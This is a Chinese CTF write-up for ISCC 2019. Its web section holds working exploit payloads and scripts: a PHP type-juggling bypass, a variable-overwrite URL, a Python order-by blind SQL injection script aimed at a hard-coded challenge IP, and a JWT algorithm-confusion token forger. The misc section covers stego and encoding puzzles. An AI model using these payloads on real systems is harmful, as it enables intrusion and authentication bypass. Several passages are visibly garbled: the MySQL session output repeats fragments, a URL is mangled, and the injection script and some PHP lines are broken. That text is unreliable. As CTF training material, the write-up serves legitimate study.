ISCC_2019

前言

不得不说,做ISCC感觉还是可以的,HN大佬们666
自己还是很菜,多学学吧

Web

web1

代码审计,之前做过相似的题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password']
;$username = '';
for ($i = 0; $i < count($value); ++$i) {
    if ($value[$i] > 32 && $value[$i] < 127unset($value);
    else $username .= chr($value[$i]);
    if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
        echo 'Hello '.$username.'!''<br>', PHP_EOL;
        echo $flag, '<hr>';
    }
}highlight_file(__FILE__);

只需要注意两个点:

  • chr函数自动取模256,所以我们只需要将字符串的ascii值加上256就行
  • intval()在处理16进制时存在问题,但强制转换时时正常的.
    构造payload
    1
    2
    3
    4
    5
    6
    a = 'w3lc0me_To_ISCC2019'
    pl = ''
    for i in range(19):
    pl += f'value[]='+ str(ord(a[i])+256) + '&'
    pl += 'password=0x2332'
    print(pl)

payload=?value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=0x2332

web2

这个题应该有两种做法,一种是用软件或者PIL库识别验证码,然后爆破,一种是直接删掉cookies,然后爆破就行(因为这里验证码保存在cookies里)

第一种

因为我电脑上的PIL库怎么都装不上,所以找了个软件来用,叫做Pkav HTTP Fuzzer,可以爆破带验证码的登陆
使用教程:
Pkav HTTP Fuzzer使用与例题

第二种

直接删去cookies值和验证码值即可

web3

这个题我知道应该有两个解法
第一个:
看到有创建用户的地方,我先想起来的是sql约束攻击,试了试真的可以
什么是sql约束攻击

创建一个用户名为admin{很多个空格}1的账户,其密码就是admin的密码
用账户admin,密码为刚创建的密码即可登录admin账号得到flag

第二个:
这道题应该是是sqli-lab里的题,是二次注入的题
什么是sql二次注入
但是我在用这个办法做题的时候出现了个错误,即有其他选手注册了admin’ #这个账户,于是我就无法利用这个账户进行注入操作,只能用admin’ # and 1=1之类的方法重新注册别的账户,但至今未成功。。。

web4

简单的变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
error_reporting(0);
include("flag.php");
$has
$has
$has$hashasass'ddbafb4eb89e218701472d3f6c087fdf7119dfdd5682b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);//解析url
if(isset($parsed["query"])){
$query = $parsed["query"]; //获取url中?后的部分
$parsed_query = parse_str($query); //将字符串解析为多个变量
//$str = "first=value&arr[]=foo+bar&arr[]=baz";
//parse_str($str);
//echo $first; // value
//echo $arr[0]; // foo bar
//echo $arr[1]; // baz
if($parsed_query!=NULL){
$action = $parsed_query['action'];
}

if($action==="auth"){
$key = $_GET["key"];
$hashed_input = hash('sha256', $key); //碰撞是肯定不可能的,只能重新赋值hashed_input变量的值,使其等于hash('sha256', $key);
if($hashed_input!==$hashed_key){
die("<img src='cxk.jpg'>");
}

echo $flag;
}
}else{
show_source(__FILE__);
}?>
//?action=auth&hashed_key=a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3&key=123

web5

感觉很新颖的一道题,用到了一种新的注入方式,order by盲注(没错,这玩意也能盲注)

准备工作

一开始打开界面,提示你不是Union.373组织成员,请勿入内,估计要修改请求头

把什么xff伪造ip之类的都试了一遍之后,发现是伪造浏览器标识

显示请输入用户名,但是页面中也没有输入用户名地方,估计就是post了

再输入密码

提示组织成员密码就是flag
这里很显然就是个注入了
先试试能不能爆出用户名是啥

用户名是union_373_Tom
再看看第几列能显示在页面上

经过测试,发现其过滤了括号。。。
这下子许多注入方法就无法使用了,只能用没有括号的语句进行注入
order by 语句就可以完成这个任务

什么是order by?

先初始化下本地的mysql,进行演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
mysql> use security
Database changed
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
ssword |
| 4 | secure | crappy |
| 5 | stupidstupststupid | stu stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)

mysql> select * from users where username = 'Dumb'mDumb'mumb'mmb'mb'm'mmb'';-b'';-';-+
|-+
| 1 | Dumb | Du----rrr1 rrrrrr rrrrrow in set (((((0.00 sec)

mysql> select * from users where username = 'Dumb' union select 1,2,3 order by 3;
+----+----------+------- 1 | 2 | 3 || || || |||| |||||------------+----------询出来的数据根据第n列进行排 * f行排 * ff行排 * fff行排 * ffff行排 * fffff行排 * ffffff行行行行行行行行行行行行排fffff行排 * fffff行排 * ffff行排 * fff行排 * ff行排 * f行排 * f排 * f * from rom eeeeeeeeeeeeeeeeeeeeeeeeers where username = 'Dumb' union select 1,2,'A' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | A |
| 1 | Dumb | Dumb |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where username = 'Dumb' union select 1,2,'E' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 1 | 2 | E |
+----+----------+----------+
2 rows in set (0.00 sec)

E的asci码大于D,根据默认升序原则,排在下面,如果在网页中,第二列的数据能显示在网页上,显示的数据则为Dumb
A的asci码小于D,根据默认升序原则,排在上面,如果在网页中,第二列的数据能显示在网页上,显示的数据则为2
当第一位相同时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> select * from users where username = 'Dumb' union select 1,2,'Dt' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | Dt |
| 1 | Dumb | Dumb |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where username = 'Dumb' union select 1,2,'Dv' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 1 | 2 | Dv |
+----+----------+----------+
2 rows in set (0.00 sec)

D相同
v的asci码大于u,根据默认升序原则,排在下面,如果在网页中,第二列的数据能显示在网页上,显示的数据则为Dumb
t的asci码小于u,根据默认升序原则,排在上面,如果在网页中,第二列的数据能显示在网页上,显示的数据则为2
以此类推
全部相同时,显示数据为2

1
2
3
4
5
6
7
8
mysql> select * from users where username = 'Dumb' union select 1,2,'Dumb' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | Dumb |
| 1 | Dumb | Dumb |
+----+----------+----------+
2 rows in set (0.00 sec)

这样,我们就可以根据网页显示内容不同一位一位的猜出数据
例如,数据第一位为D ,我们猜测ABCD时网页显示数据都无变化,但是猜测E的时候发生改变,那么根据升序排列的原则,这一位的数据即为令网页产生变化的字符的上一位
因为其需要依靠顺序猜测数据,故写脚本的时候最好不使用字典,直接range(32,127)。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

s = requests.session()
url = 'http://39.100.83.188:8054/'
data = {"username":"union_373_Tom'/*"}
headers = {"User-Agent":"Union.37 Union.373"}
flag = ''
for j in range(15)://当最后print的flag值无变化时注入完成。此值不一定为15,根据flag长度调整
for i in range(33,127):
data["password"]="*/ union select 1,2,'{0}{1}' order by 3,'".format(flag,chr(i))
web = s.post(url,data=data,headers=headers)
on_373_Tom' in str(web.content,encoding='utf8')://直接web.texttexttext会出现编码问题,所以没那么写
flag += chr(i-1)
print('flag:'+flag)
j+=1
break

输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
flag:1
flag:1S
flag:1SC
flag:1SCC
flag:1SCC_
flag:1SCC_2
flag:1SCC_2O
flag:1SCC_2OI
flag:1SCC_2OI9
flag:1SCC_2OI9
flag:1SCC_2OI9
flag:1SCC_2OI9
flag:1SCC_2OI9
flag:1SCC_2OI9
flag:1SCC_2OI9
[Finished in 10.3s]

web6

很恶心的题,到不是说有多难,而是各种烂七八糟的格式很烦人,网页有时候不知道为什么就崩了,还以为是我的payload错了。。
首先一打开是个留言板,要求注册后才能留言,只有admin才能看到所有留言。

注册个账号试试
本来想用我的id rayi注册来着,但却一直提示我注册失败。
后来发现是注册id有字数要求,id太短不行。。。
注册完后就可以进行留言等操作了,
list查看留言,发现只能查看自己的

抓包试试

这个Authorization的参数很眼熟啊,这不是JWT吗
复制下来拿到jwt.io上解析下,得到其加密算法和信息

下一步我们需要考虑的就是把other改为admin后如何发给服务器令其识别呢
用到算法修改攻击
JWT详解
签名算法为RS256时,由于其为非对称加密,存在公私钥问题,在没有私钥的情况下我们是几乎不可能修改数据的
而HS256算法为对称加密,只有一个公钥
那么公钥在哪呢?
查看页面js,发现commn.js的最后有hint

1
2
3
4
5
6

function getpubkey(){
/*
get the pubkey for test
/pubkey/{md5(username+password)}
*/

那么,我们访问、pubkey/md5(‘qwertyuiop123456’),即pubkey/8ebkey/8ekey/8eey/8ey/8e/8e8ee8eee23cd5ef475ab6834f0598f4a502f8
得到,公钥只要选中的位置,并放到python里print一下去掉\n等格式符
最终将

1
2
3
4
5
6
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK
omh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h
Kk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc
IC+LX+9V/mpyKe9R3wIDAQAB
-----END PUBLIC KEY-----

存到1.pem
随后,利用公钥和python脚本加密即可

1
2
3
4
import jwt

public = open('1.pem', 'r').read()
print (jwt.encode({"name": "qwertyuiop","priv": "admin"}, key=public.strip(), algorithm='HS256'))

将得到的token放到头中post即可

访问/text/admin:22f1e0aa7a31422ad63480aa27711277得到flag

Misc

ps:杂项的脑洞真是大到无边无际。。。

隐藏的信息

这是一个被混淆的文件,但是我忘记了这个文件的密码。你能够帮助我还原明文吗?

一开始一直在百度混淆是什么鬼,还能混淆字符串的。。。
然而百度到的东西难度不像是50分的题的难度,后来仔细看了看题,才发现这跟混淆没多大关系啊。
这应该就是个八进制转字符串吧。。。
脚本走起

1
2
3
4
a = '0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 071 0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113'
b = a.split(' ')
for i in b:
print(chr(int(i,8)),end='')

解出来是base64的编码

倒立屋

又是个脑洞大到飞起的题
拿到一张倒立房屋的图片,一开始以为是要改图片大小来着,后来发现并不是这样

用stegsolve分析下,发现最低位有一串信息

我本以为这是串密码啥的,但我找了快一个小时也没找到啥线索
后来问了下设师哥,原来把这串字符串倒过来就是flag
。。。内心复杂。。。

Keyes’ secret

这是个不仅脑洞大而且特别需要耐心的题。。。
密文如下

1
RFVGYHNWSXCDEWSXCVWSXCVTGBNMJUY,WSXZAQWDVFRQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFTGBNMJUTYUIOJMWSXCDEMNBVCDRTGHUQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXTYUIOJMEFVT,QWERTYTRFVBGRDXCVBRFVBGRDXCVBFVBGRDXCVBVBGRDXCVBBGRDXCVBGRDXCVBRDXCVBDXCVBVBCVBVYTRFVGWSXCVGRDXCVBCVGREDQWERTY(RFVBTYUIOJMTRFVG),QWERTYG,,,QWERTYGRDXCVBQWBVCXSWERFWSXCDEEQWERTYTGBNMJUYTRFVGQWERTYTRFVBMNBVCDRTBVCBBVCDRTGHUEFVTNBVCXSWERFTYUIOJMTGBNMJUYIUYHNBVNBVCXSWERFTWWERFTGBNMJUYMNBVCDRTGHUTYUIOJM,QWERTYWSXIUYHNBVQWERTYGRDXCVBQWERTYTRFVBTGBNMJUYXSWEFTYHNMJUTYUIOJMWSXCDEMNBVCDRTGHUQWERTYIUYHNNRFVBTGBNBTGBNBTGBBTGBNMJUMNBVCDRTGHUWSXTYUIOJMEFVTQWERTYTRFVBTYYTRFVBTGBWEFTYHNNBVCXSWERFWSXCDETYUIOJMWSXTYUIOJMWSXTGBNMJUYZAQWDVFR.IUYIIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXTYUIOJMEFVTQWERTYTRFVBTGBDEIUYHNBVTYUIOJMIUYHNBVQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYTGBNMJUIUYHNBVTGBNMJUGRDXCVBWSXCVEFVTQWERTYWSXCFEWSXCDEIUYHNBVWSXCVGREDZAQWDVFRWSXCDEWSXCFECCCFEQWERTYTYUIOJMTGBNMJUYQWERTYIUYHNBVWSXCDEMNBVCDRTGHUEFVGYWSXCDEQWERTYGRDXCVBIUYHNBVQWERTYGRDXCVBZAQWDVFRQWERTYWSXCDEWSXCFETGBNMJUTRFVBGRDXCVBTYUIOJMWSXTGBNMJUYZAQWDVFRGRDXCVBWSXCVQWERTYWSXCDERGNYGCWSXCDEMNBVCDRTGHUTRFVBWSXIUYHNBVWSXCDUIOJMTGBNMJUYQWERTYCVGREDWSXEFVGYWSXCDEQWERTYNBVCXSWERFGRDXCVBMGGRDXCVBMNBVCDRTGHUTYUIOJMWSXTRFVBWSXNBVCXSWERFGRDXCVBZAQWDVFMIUYHNBVQWERTYWSXCDERGNYGCNBVCXSWERFWSXCDEMNBVCDRTGHUWSXWSXCSXCSSXCDEZAQWDVFRTRFVBWSXCDEQWETYWSXZAQWDVFRQWERTYIUYHBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXZAQWDVVFRCVGREDQWERTYGRDXCVBQWWERTYXSWEFTYHNGRDXCVBTRFVBRFVGYHNWSXZAQWDVFRWSXCDE,QWERTYGRDXCVBIUYHNBVQWERTYEFVGYWDCFTWSXCDEWSXCVWSXCVQWERTYGRDXCVBIUYHNBVQWERTYTRFVBTGBNMJUYZAQWDVFRWSXCFETGBNMJUTRFVBTYUIOJMWSXZAQWDVFRCVGREDQWERTYGRDXCVBZAQWDVFRWSXCFEQWERTYMNBVCDRTGHUWSXCDEGRDXCVBTRFVBTYUIOJMWSXZAQWDVFRCVGREDQWERTYTYUIOJMTGBNMJUYQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYIUYHNBVTGBNMJUYMNBVCDRTGHUTYUIOJMQWERTYTGBNMJUYTRFVGQWERTYGRDXCVBTYUIOJMTYUIOJMGRDXCVBTRFVBQAZSCEIUYHNBVQWERTYTRFVGTGBNMJUYTGBNMJUZAQWDVFRWSXCFEQWERTYWSXZAQWDVFRQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYMNBVCDRTGHUWSXCDEGRDXCVBWSXCVQWERTYEFVGYWDCFTTGBNMJYMNBVCDRTGHUWSXCVWSXCFEQWERTY(WSX.WSXCDE.,QWERTYYHNMKJTGBNMJUCVGGREDQWERTYYHNMKJTGBNMJUYTGBNMJUZAQWDVFRTYUOJMEFVTQWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYCVGREDMNBVCDRTGHUGRDXCCVBXSWEFTYHNIUYHNBVQWERTYWSXZAQWDVFRQWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYTRFVGWSXCDEIUYHNBVIUYHNBVWSXTGBNMJUYZAQWDVFRGRDXCVBWSXCVQWERTYIUYHNBVWSXCDETYUIOJMTYUIOJMWSXZAQWDVFRCVGREDIUYHNBV).QWERTYRFVGYHNWSXCDEMNBVCDRTGHUWSXCDEQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYEFVTTGBNMJUYTGBNMJUMNBVCDRTGHUQWERTYTRFVGWSXCVGRDXCVBCVGRED{WSXIUYHNBVTRFVBTRFVBQWERTYQAZSCEWSXCDEEFVTYHNMKJTGBNMJUYGRDXCVBMNBVCDRTGHUWSXCFEQWERTYTRFVBWSXNBVCXSWERFRFVGYHNWSXCDEMNBVCDRTGHU}QWERTYMNBVCDRTGHUWSXCDEEFVGYWSXCDEMNBVCDRTGHUIUYHNBVWSXCDE-WSXCDEZAQWDVFRCVGREDWSXZAQWDVFRWSXCDEWSXCDEMNBVCDRTGHUWSXZAQWDVFRCVGRED,QWERTYZAQWDVFRWSXCDETYUIOJMEFVGYWDCFTTGBNMJUYMNBVCDRTGHUQAZSCEQWERTYIUYHNBVZAQWDVFRWSXTRFVGTRFVGWSXZAQWDVFRCVGRED,QWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYTYUIOJMTGBNMJUYTRFVBTGBNMJUYWSXCVQWERTYGRDXCVBZAQWDVFRGRDXCVBWSXCVEFVTIUYHNBVWSXIUYHNBV,QWERTYIUYHNBVEFVTIUYHNBVTYUIOJMWSXCDEXSWEFTYHNQWERTYGRDXCVBWSXCFEXSWEFTYHNWSXZAQWDVFRWSXIUYHNBVTYUIOJMMNBVCDRTGHUGRDXCVBTYUIOJMWSXTGBNMJUYZAQWQWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYCVGREDMNBVCDRTGHUGRDXCVBXSWXXXSWEFTYHNXSWEFTYHNWSXZAQWDVFRCVGRED,QWERTYGRDXCVBZAQWDVFRWSXCFEQWERTYTRFVBMNBVCDRTGHUEFVTNBVCXSWERFTYUIOJMGRDXCVBZAQWDVFRGRDXCVBWSXCVEFVTIUYHNBVWSXIUYHNBVQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYGRDXCVBWSXCVWSXCVQWERTYIUYHNBVQAZSCEWSXWSXCVWSXCVIUYHNBVQWERTYEFVGYWDCFTRFVGYHNWSXTRFVBRFVGYHNQWERTYRFVGYHNGRDXCVBEFVGYWSXCDEQWERTYYHNMKJWSXCDEWSXCDEZAQWDVFRQWERTYMNBVCDRTGHUWSXCDEQAZXCDEWVTGBNMJUWSXMNBVCDRTGHUWSXCDEWSXCFEQWERTYYHNMKJEFVTQWERTYNBVCXSWERFMNBVCDRTGHUWSXTGBNMJUYMNBVCDRTGHUQWERTYTRFVBTYUIOJMTRFVGQWERTYTRFVBTGBNMJUYZAQWDVFRTYUIOJMWSXCDEIUYHNBVTYUIOJMIUYHNBVQWERTYGRDXCVBTYUIOJMQWERTYWSXCFEWSXCDETRFVGQWERTYTRFVBTGBNMJUYZAQWDVFR.

一开始我以为是词频分析,分析了好久也没分析出什么鬼来
然后又尝试了诸多解密算法,发现都不是
后来仔细看了看密文,发现按照这些字母顺序在键盘上能画出字母来。。。
好眼熟的题。。
不过这么多字母总不能全画出来吧
于是乎就只花了画括号里面的东西,QWERTY表示的应该就是空格
然而,flag的格式并不是全大写的 FLAG ,而是Flag,凸(艹皿艹 ),就这个flag格式就得试了十几次。。。

Aesop’s secret

又是一个非常麻烦的题
给了一张gif图,把gif图拆分出来,发现是个拼图
没有ps的我只能用美图秀秀一个一个拼好,结果如下

可以看出来图片中的字母应该是ISCC
再用winhex查看gif图

文件最后有一串AES加密的字符串,利用ISCC作为密钥解密两次后就可以得到flag

无法运行的exe

可执行文件无法运行,你是否能修复它?

一般这么说的题都不是exe文件,用winhex打开,发现一堆base64编码,猜测时base64转图片

复制到在线网站转换,发现并不能转换出图片,估计是文件头出错了,再用winhex打开转换后的文件,发现0D 00处错误,应为0D 0A

修改后得到二维码,扫码即可得flag

他们能在一起吗?

小明在网上向暗恋已久的女生表白了,对方只给小明发来了一个二维码作为回复,面对小明的求助,你会告诉他这名女生想表达的意思吗?

不用想,肯定不能。。。。
二维码扫码得:PASS%7B0K_I_L0V3_Y0u%21%7D,这肯定不是flag,都答应了。。。

用winhex打开,在文件最后发现了PK,里面还隐藏着个压缩包

后缀改为.zip解压发现需要密码,刚才扫到的那个估计就是密码,果然。。。

嗯嗯,这才是真正的回复嘛

Welcome

流浪地球计划中拟采取新的文字加密方式,你能破译这个简单的文件吗?

这个加密。。真的很迷
打开一看,满眼的流浪,木星,户口。。。

通过看着这一排排的口字,还有这些词组的总个数为144,是8的倍数,估计有口字的词组就是代表0,没有的就是代表1,是二进制。
但是这样开头就是1了,这不对啊。。。
那就应该是口代表1,其他的是0
查找替换一波后,得到了二进制码

1
011001100110110001100001011001110111101101001001010100110100001101000011010111110101011101000101010011000100001101001111010011010100010101111101

转字符串得到flag